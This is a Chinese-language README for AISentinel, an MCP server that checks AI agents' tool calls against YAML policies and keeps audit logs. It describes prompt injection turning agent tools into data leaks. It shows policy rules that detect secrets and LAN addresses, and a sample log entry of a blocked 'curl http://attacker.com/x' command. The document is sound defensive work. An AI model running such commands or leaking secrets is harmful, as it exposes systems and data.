内容
# AISentinel
[](https://github.com/Kabzhanov/AISentinel)
[](https://github.com/Kabzhanov/AISentinel/releases)
[](LICENSE)
[](https://bizdnai.com/index/)
[](https://go.dev/)
[](https://bizdnai.com/index/)
**缺失的安全性、控制和可观察性层,用于代理时代。**
> 传统的安全工具是为恶意软件而构建的。
> AI 代理通过工具和 API 被赋予合法的权力。
> AISentinel 提供了缺失的安全性、控制和可观察性层。

---
## 1. 项目标题 + 口号
**AISentinel** — 一个开源的 MCP 服务器,保护 AI 代理在运行时。
由 **Kabzhanov / BizDNAi** 构建,团队是 **AI Trust Index** 背后的团队。
---
## 2. 为什么 AISentinel 存在
AI 代理现在具有 shell、浏览器、文件系统和 API 密钥。它们是**合法**的过程 — 防病毒软件无法看到它们。单个间接提示注入到 PDF 或电子邮件中,可以通过 `Bash` 和 `Email_send` 等普通工具转换为大规模数据泄露。
AISentinel 弥补了这一空白:它作为 MCP 服务器在每次工具调用前运行,评估 YAML 策略,记录每个决策,并发送与 [AI Trust Index](https://bizdnai.com/index/) 兼容的审计跟踪。
查看 [docs/SECURITY_AUDIT.md](docs/SECURITY_AUDIT.md) 以获取完整威胁模型。
---
## 3. 快速入门(3 分钟)
### 选项 A:安装二进制文件
```bash
go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest
aisentinel --help
aisentinel serve --policy policies/default.yaml
```
### 选项 B:安装边车(适用于任何 MCP 服务器的策略代理)
```bash
go install github.com/Kabzhanov/AISentinel/cmd/aisentinel-sidecar@latest
# 使用一个命令包装任何 stdio MCP 服务器:
aisentinel-sidecar ./your-mcp-server [args...]
```
### 选项 C:克隆和构建
```bash
git clone https://github.com/Kabzhanov/AISentinel.git
cd AISentinel
go build -o bin/aisentinel ./cmd/aisentinel
go build -o bin/aisentinel-sidecar ./cmd/aisentinel-sidecar
./bin/aisentinel serve --policy policies/default.yaml
```
### 选项 D:从 GitHub Releases 获取预构建的二进制文件
从 <https://github.com/Kabzhanov/AISentinel/releases/latest> 下载。适用于 `linux/amd64`、`linux/arm64`、`darwin/amd64`、`darwin/arm64`、`windows/amd64`。
### 选项 E:添加到 Claude Code / Cursor / Cline
```json
{
"mcpServers": {
"aisentinel": {
"command": "aisentinel",
"args": ["serve", "--policy", "/absolute/path/to/policies/default.yaml"]
},
"aisentinel-sidecar": {
"command": "aisentinel-sidecar",
"args": ["--policy", "/absolute/path/to/policies/strict.yaml", "/path/to/your-mcp-server"]
}
}
}
```
然后重启您的 MCP 客户端,并要求您的代理调用任何工具 — AISentinel 将控制每次调用,并将 JSONL 审计跟踪写入 `~/.aisentinel/events-YYYY-MM-DD.jsonl`。
---
## 4. 主要功能
- **工具门控** — 根据 YAML 策略评估每次工具调用(允许 / 阻止 / 需要人工审批 / 仅记录)。
- **审计日志** — 仅追加的 JSONL,具有标准化的事件模式。
- **验证策略** — 加载前检查 YAML 策略。
- **内置策略** — `default`、`strict`、`audit-only`(参见 `policies/`)。
- **MCP 原生** — 适用于 Claude Code、Claude Desktop、Cursor、Cline、Continue。
- **零遥测** — 本地运行;无电话回家。
- **Apache 2.0** — 具有专利授权的宽松开源许可。
---
## 5. 连接器
- **MCP stdio** — `aisentinel serve`(Claude Code、Claude Desktop、Cursor、Cline、Continue)。
- **Streamable-HTTP** — `https://mcp.aisentinel.bizdnai.com/mcp`(SaaS,OAuth via BizDNAi)。
- **CLI** — `aisentinel` 子命令(`serve`、`validate-policy`、`policies`、`events`、`version`)。
- **库** — Go 包 `github.com/Kabzhanov/AISentinel/internal/policy` 用于嵌入。
---
## 6. 策略示例
查看 [`policies/default.yaml`](policies/default.yaml) 以获取完整的默认策略。
```yaml
version: 1
name: default
rules:
- id: secret-in-args
match: { tool_args_regex: "(?i)(api[_-]?key|secret|token|password|passwd)" }
decision: block
reason: "Possible secret in arguments"
- id: lan-deny
match: { tool_name: "Bash", tool_args_regex: "10\\.|192\\.168\\.|172\\.(1[6-9]|2\\d|3[01])\\." }
decision: block
reason: "LAN access blocked by default"
```
匹配模式:`tool_name`、`tool_name_regex`、`tool_args_regex`、`tool_args_contains`。多个匹配器 AND 组合。
---
## 7. 它如何提高 AI Trust Index 分数
AISentinel 生成 **可观察性数据**,用于 AI Trust Index 评估:
- 每次工具调用 → 可审计事件,包含 agent_id、session_id、decision、signals。
- 每次策略决策 → 版本化,指纹(policy_signature 字段)。
- 每次阻止 → 原因,risk_signals,准备好提交 ATI。
运行 `aisentinel_get_ati_snapshot` 获取一个 JSON blob,准备粘贴到 [AI Trust Index 柜](https://bizdnai.com/index/)。
---
## 8. 许可
AISentinel 在两个许可选项下可用:
1. **Apache License 2.0** (开源)
- 根据 Apache 2.0 许可条款免费使用、修改和分发。
- 包括来自贡献者的明确专利授权。
2. **商业许可**
- 适用于希望在闭源产品中嵌入 AISentinel 而无需开源合规要求的公司。
- 联系方式:kabzhanov@gmail.com
通过为此仓库做出贡献,您同意根据 Apache 2.0 许可您的贡献。
查看 [LICENSE](LICENSE) 和 [COMMERCIAL_LICENSE.md](COMMERCIAL_LICENSE.md)。
---
## 9. 安装
要求:**Go 1.22+**
```bash
go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest
```
验证:
```bash
aisentinel version
# AISentinel v1.0.0 — by Kabzhanov / BizDNAi / AI Trust Index
```
---
## 10. 使用示例
### 运行 MCP 服务器
```bash
aisentinel serve --policy policies/default.yaml
```
### 验证自定义策略
```bash
aisentinel validate-policy my-policy.yaml
```
### 尾随最近的审计事件
```bash
aisentinel events --last 20
```
### 列出内置策略
```bash
aisentinel policies
```
### 在不阻塞的情况下尝试策略(影子模式)
```bash
AISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml
```
---
## 11. 事件模式
查看 [`docs/event-schema.md`](docs/event-schema.md)。JSONL 日志中的一个 JSON 对象:
```json
{
"event_id": "20260707T221500.000000001-1",
"timestamp": "2026-07-07T22:15:00Z",
"event_type": "pre_tool",
"agent_id": "agent-42",
"session_id": "sess-abc",
"tool_name": "Bash",
"tool_args": { "command": "curl http://attacker.com/x" },
"decision": "block",
"policy_matched": ["bash-network"],
"risk_signals": ["rule_matched:bash-network"]
}
```
---
## 12. 贡献
查看 [CONTRIBUTING.md](CONTRIBUTING.md)。通过贡献,您同意在 Apache 2.0 下许可您的贡献。
---
## 13. 路线图
- **v1.0** (此版本)— MCP stdio,4 个工具,3 个内置策略,JSONL 审计日志。
- **v1.1** — `aisentinel scan` (MCP 配置审计器),移动连接器。
- **v1.2** — 流式 HTTP 传输(SaaS 模式),OAuth via BizDNAi。
- **v2.0** — ATI-feed 集成,IDE 插件(VSCode MCP Inspector)。
---
## 14. 许可
Apache License 2.0。查看 [LICENSE](LICENSE)。
AISentinel 采用 Apache 2.0 和商业许可的双重许可模式。如需商业条款,请联系 kabzhanov@gmail.com。
---
**由 Kabzhanov / BizDNAi 构建 — [AI Trust Index](https://bizdnai.com/index/) 的创建者。**